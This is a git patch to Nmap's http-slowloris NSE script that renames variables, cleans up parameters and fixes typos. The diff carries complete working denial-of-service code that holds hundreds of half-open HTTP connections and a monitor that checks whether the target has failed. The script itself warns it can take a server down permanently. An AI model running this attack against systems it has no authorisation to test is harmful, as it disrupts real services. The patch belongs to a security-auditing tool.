From dfdaadccb1ce7e713c24cfa8f2fb9392badbf650 Mon Sep 17 00:00:00 2001 From: henri Date: Tue, 31 Jul 2012 18:12:28 +0000 Subject: [PATCH] Style changes: - Consistent variable naming - Default parameters cleanup - removed unused variables (like "local t = nmap.timing_level()") - renamed functions consistently - removed typo from function name ("worker_schedluer") - consistent debug messages format --- scripts/http-slowloris.nse | 298 +++++++++++++++++++++---------------- 1 file changed, 170 insertions(+), 128 deletions(-) diff --git a/scripts/http-slowloris.nse b/scripts/http-slowloris.nse index e28d24093..9d1adaa8e 100644 --- a/scripts/http-slowloris.nse +++ b/scripts/http-slowloris.nse @@ -21,7 +21,7 @@ filtering rules): * Time taken until DoS * Number of sockets used * Number of queries sent -By default the script runs for 30 minutes if DoS is not achieved. +By default the script runs for 30 minutes if DoS is not achieved. Please note that the number of concurrent connexions must be defined with the --max-parallelism option (default is 20, suggested @@ -29,7 +29,7 @@ is 400 or more) Also, be advised that in some cases this attack can bring the web server down for good, not only while the attack is running. -Also, due to OS limitations, the script is unlikely to work +Also, due to OS limitations, the script is unlikely to work when run from Windows. ]] @@ -37,15 +37,17 @@ when run from Windows. -- @usage -- nmap --script http-slowloris --max-parallelism 400 -- --- @args http-slowloris.timeout Time to wait before sending new http header datas +-- @args http-slowloris.runforever Specify that the script should continue the +-- attack forever. Defaults to false. +-- @args http-slowloris.send_interval Time to wait before sending new http header datas -- in order to maintain the connection. Defaults to 100 seconds. --- @args http-slowloris.runforever Specify that the script should continue the attack forever. --- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30 minutes default). +-- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30 +-- minutes default). -- -- @output -- PORT STATE SERVICE REASON VERSION -- 80/tcp open http syn-ack Apache httpd 2.2.20 ((Ubuntu)) --- | http-slowloris: +-- | http-slowloris: -- | Vulnerable: -- | the DoS attack took +2m22s -- | with 501 concurrent connections @@ -58,126 +60,148 @@ categories = {"dos", "intrusive"} portrule = shortport.http -local runforever = stdnse.get_script_args('http-slowloris.runforever') or nil +local SendInterval +local TimeLimit + + +-- this will save the amount of still connected threads +local ThreadCount = 0 + +-- the maximum amount of sockets during the attack. This could be lower than the +-- requested concurrent connections because of the webserver configuration (eg +-- maxClients on Apache) +local Sockets = 0 + +-- this will save the amount of new lines sent to the half-http requests until +-- the target runs out of ressources +local Queries = 0 + +local ServerNotice +local DOSed = false +local StopAll = false +local Reason = "slowloris" -- DoSed due to slowloris attack or something else +local Bestopt + -- get time (in miliseconds) when the script should finish local function get_end_time() - local t = nmap.timing_level() - local limit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or "30m") - local end_time = 1000 * limit + nmap.clock_ms() - return end_time + if TimeLimit == nil then + return -1 + end + return 1000 * TimeLimit + nmap.clock_ms() end -local thread_count = 0 -- this will save the amount of still connected threads -local sockets = 0 -- the maximum amount of sockets during the attack. This could be lower than the requested concurrent connections because of the webserver configuration (eg maxClients on Apache) -local queries = 0 -- this will save the amount of new lines sent to the half-http requests until the target runs out of ressources -local server_notice -local dosed = false -local stop_all = false -local reason = "slowloris" -- DoSed due to slowloris attack or something else -local bestopt +local function set_parameters() + SendInterval = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.send_interval') or '100s') + if stdnse.get_script_args('http-slowloris.runforever') then + TimeLimit = nil + else + TimeLimit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or '30m') + end +end -local doHalfhttp = function(host,port,obj) +local function do_half_http(host, port, obj) local condvar = nmap.condvar(obj) - local get_uri = math.random(100000, 900000) -- we will query a random page - - if stop_all then - condvar "signal" + + if StopAll then + condvar("signal") return end - - -- create socket + + -- Create socket local slowloris = nmap.new_socket() - slowloris:set_timeout(200 * 1000) -- set a long timeout so our socked doesn't timeout while it's waiting - - thread_count = thread_count + 1 + slowloris:set_timeout(200 * 1000) -- Set a long timeout so our socked doesn't timeout while it's waiting + + ThreadCount = ThreadCount + 1 local catch = function() - -- this connection is now dead - thread_count = thread_count - 1 - stdnse.print_debug("HALF_HTTP: lost connection") + -- This connection is now dead + ThreadCount = ThreadCount - 1 + stdnse.print_debug(SCRIPT_NAME .. " [HALF HTTP]: lost connection") slowloris:close() slowloris = nil - condvar "signal" + condvar("signal") end - + local try = nmap.new_try(catch) - try(slowloris:connect(host.ip, port,bestopt)) + try(slowloris:connect(host.ip, port, Bestopt)) -- Build a half-http header. - local half_http = "POST /"..get_uri.." HTTP/1.1\r\n" - half_http = half_http.."Host: "..host.ip.."\r\n" - half_http = half_http.."User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" - half_http = half_http.."Content-Length: 42\r\n" + local half_http = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" .. + "Host: " .. host.ip .. "\r\n" .. + "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " .. + ".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" .. + "Content-Length: 42\r\n" + try(slowloris:send(half_http)) - server_notice = " (attack against "..host.ip.."): HTTP stream started." + ServerNotice = " (attack against " .. host.ip .. "): HTTP stream started." + -- During the attack some connections will die and other will respawn. + -- Here we keep in mind the maximum concurrent connections reached. - -- during the attack some connections will die and other will respawn. Here we keep in mind the maximum concurrent connections reached. - if sockets <= thread_count then sockets = thread_count end - - local feed_interval = stdnse.get_script_args("http-slowloris.timeout") - if feed_interval == nil then feed_interval = 100 end + if Sockets <= ThreadCount then Sockets = ThreadCount end -- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval while true do - if stop_all then + if StopAll then break end - stdnse.sleep(feed_interval) + stdnse.sleep(SendInterval) try(slowloris:send("X-a: b\r\n")) - server_notice = " (attack against "..host.ip.."): Feeding HTTP stream..." - queries = queries + 1 - server_notice = server_notice .. "\n(attack against "..host.ip.."): "..queries.." queries sent using "..thread_count.." connections." + ServerNotice = " (attack against " .. host.ip .. "): Feeding HTTP stream..." + Queries = Queries + 1 + ServerNotice = ServerNotice .. "\n(attack against " .. host.ip .. "): " .. Queries .. " queries sent using " .. ThreadCount .. " connections." end slowloris:close() - thread_count = thread_count - 1 - condvar "signal" + ThreadCount = ThreadCount - 1 + condvar("signal") end --- Monitor the web server -local doMonitor = function(host,port) - +-- Monitor the web server +local function do_monitor(host, port) local general_faults = 0 local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server - stdnse.print_debug("MONITOR: Monitoring " ..host.ip.. " started") - local request = "GET / HTTP/1.1\r\nHost: "..host.ip - .."\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n" - local monitor, line + + stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Monitoring " .. host.ip .. " started") + + local request = "GET / HTTP/1.1\r\n" .. + "Host: " .. host.ip .. + "\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " .. + ".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n" local opts = {} + local _ - monitor, line, bestopt = comm.tryssl(host,port,"GET / \r\n\r\n",opts) -- first determine if we need ssl - + _, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", opts) -- first determine if we need ssl - while not stop_all do - monitor = nmap.new_socket() - local status = monitor:connect(host.ip, port,bestopt) + while not StopAll do + local monitor = nmap.new_socket() + local status = monitor:connect(host.ip, port, Bestopt) if not status then general_faults = general_faults + 1 if general_faults > 3 then - reason = "not-slowloris" - dosed = true - break + Reason = "not-slowloris" + DOSed = true + break end - else + else status = monitor:send(request) - if not status then + if not status then general_faults = general_faults + 1 if general_faults > 3 then - reason = "not-slowloris" - dosed = true - break + Reason = "not-slowloris" + DOSed = true + break end end - local status, data = monitor:receive_lines(1) + status, _ = monitor:receive_lines(1) if not status then - stdnse.print_debug("MONITOR: Didn't get a reply from " .. host.ip .. "." ) + stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Didn't get a reply from " .. host.ip .. "." ) monitor:close() request_faults = request_faults +1 if request_faults > 3 then - if runforever == nil then - stdnse.print_debug("MONITOR: server " .. host.ip .. "is now unavailable. The attack worked.") - dosed = true + if TimeLimit then + stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: server " .. host.ip .. " is now unavailable. The attack worked.") + DOSed = true end monitor:close() break @@ -185,96 +209,114 @@ local doMonitor = function(host,port) else request_faults = 0 general_faults = 0 - stdnse.print_debug("MONITOR: "..host.ip.." still up, answer received." ) + stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: ".. host.ip .." still up, answer received.") stdnse.sleep(10) monitor:close() end - if stop_all then + if StopAll then break end end end end - -local mutex = nmap.mutex("http-slowloris") -local threads = {} +local Mutex = nmap.mutex("http-slowloris") -local worker_schedluer = function(host, port) +local function worker_scheduler(host, port) + local Threads = {} local obj = {} local condvar = nmap.condvar(obj) local i - for i=1,1000 do -- The real amount of sockets is triggered by the --max-parallelism option. The remaining threads will replace dead sockets during the attack - local co = stdnse.new_thread(doHalfhttp, host, port,obj) - threads[co] = true + + for i = 1, 1000 do + -- The real amount of sockets is triggered by the + -- '--max-parallelism' option. The remaining threads will replace + -- dead sockets during the attack + local co = stdnse.new_thread(do_half_http, host, port, obj) + Threads[co] = true end - - while not dosed and not stop_all do -- keep creating new threads, in case we want to run the attack indefinitely + + while not DOSed and not StopAll do + -- keep creating new threads, in case we want to run the attack indefinitely repeat - condvar "wait" - if stop_all then - return - end - for thread in pairs(threads) do - if coroutine.status(thread) == "dead" then - threads[thread] = nil + condvar("wait") + if StopAll then + return end - end - stdnse.print_debug("starting new thread") - local co = stdnse.new_thread(doHalfhttp, host, port,obj) - threads[co] = true - until next(threads) == nil; + + for thread in pairs(Threads) do + if coroutine.status(thread) == "dead" then + Threads[thread] = nil + end + end + stdnse.print_debug(SCRIPT_NAME .. " [SCHEDULER]: starting new thread") + local co = stdnse.new_thread(do_half_http, host, port, obj) + Threads[co] = true + until next(Threads) == nil; end end action = function(host, port) - mutex "lock" -- we want only one slowloris instance running at a single time even if multiple hosts are specified - -- in order to have as many sockets as we can available to this script + Mutex("lock") -- we want only one slowloris instance running at a single + -- time even if multiple hosts are specified + -- in order to have as many sockets as we can available to + -- this script - local output={} - local start,stop,dos_time + set_parameters() + + local output = {} + local start, stop, dos_time start = os.date("!*t") -- The first thread is for monitoring and is launched before the attack threads - local mon = stdnse.new_thread(doMonitor, host, port) + stdnse.new_thread(do_monitor, host, port) stdnse.sleep(2) -- let the monitor make the first request - - stdnse.print_debug("MAIN THREAD: starting schedluer") - local sched = stdnse.new_thread(worker_schedluer, host, port) - local end_time = get_end_time() + stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: starting scheduler") + stdnse.new_thread(worker_scheduler, host, port) + local end_time = get_end_time() local last_message - if not (runforever == nil) then - stdnse.print_debug("RUNNING FOREVER") + if TimeLimit == nil then + stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: running forever!") end - -- return a live notice from time to time - while (nmap.clock_ms() < end_time or not (runforever == nil)) and not stop_all do - if server_notice ~= last_message then -- don't flood the output by repeating the same info - stdnse.print_debug("MAIN THREAD: " .. server_notice) - last_message = server_notice + + -- return a live notice from time to time + while (nmap.clock_ms() < end_time or TimeLimit == nil) and not StopAll do + if ServerNotice ~= last_message then + -- don't flood the output by repeating the same info + stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: " .. ServerNotice) + last_message = ServerNotice end - if dosed and runforever == nil then + if DOSed and TimeLimit ~= nil then break end stdnse.sleep(10) end stop = os.date("!*t") - dos_time = stdnse.format_difftime(stop,start) - stop_all = true - if dosed then - if reason == "slowloris" then - stdnse.print_debug(2, "%s: Slowloris Attack stopped, building output", SCRIPT_NAME) - output = "Vulnerable:\n".. "the DoS attack took ".. dos_time .. "\nwith ".. sockets .. " concurrent connections\nand " .. queries .." sent queries" + dos_time = stdnse.format_difftime(stop, start) + StopAll = true + if DOSed then + if Reason == "slowloris" then + stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped, building output") + output = "Vulnerable:\n" .. + "the DoS attack took ".. + dos_time .. "\n" .. + "with ".. Sockets .. " concurrent connections\n" .. + "and " .. Queries .." sent queries" else - stdnse.print_debug(2, "%s: Slowloris Attack stopped. Monitor couldn't communicate with the server.", SCRIPT_NAME) - output = "Probably vulnerable:\n".. "the DoS attack took ".. dos_time .. "\nwith ".. sockets .. " concurrent connections\nand " .. queries .." sent queries" - output = output + "Monitoring thread couldn't communicate with the server. This is probably due to max clients exhaustion or something similar but not due to slowloris attack." + stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped. Monitor couldn't communicate with the server.") + output = "Probably vulnerable:\n" .. + "the DoS attack took " .. dos_time .. "\n" .. + "with " .. Sockets .. " concurrent connections\n" .. + "and " .. Queries .. " sent queries\n" .. + "Monitoring thread couldn't communicate with the server. " .. + "This is probably due to max clients exhaustion or something similar but not due to slowloris attack." end - mutex "done" -- release the mutex + Mutex("done") -- release the mutex return stdnse.format_output(true, output) end - mutex "done" -- release the mutex + Mutex("done") -- release the mutex return false end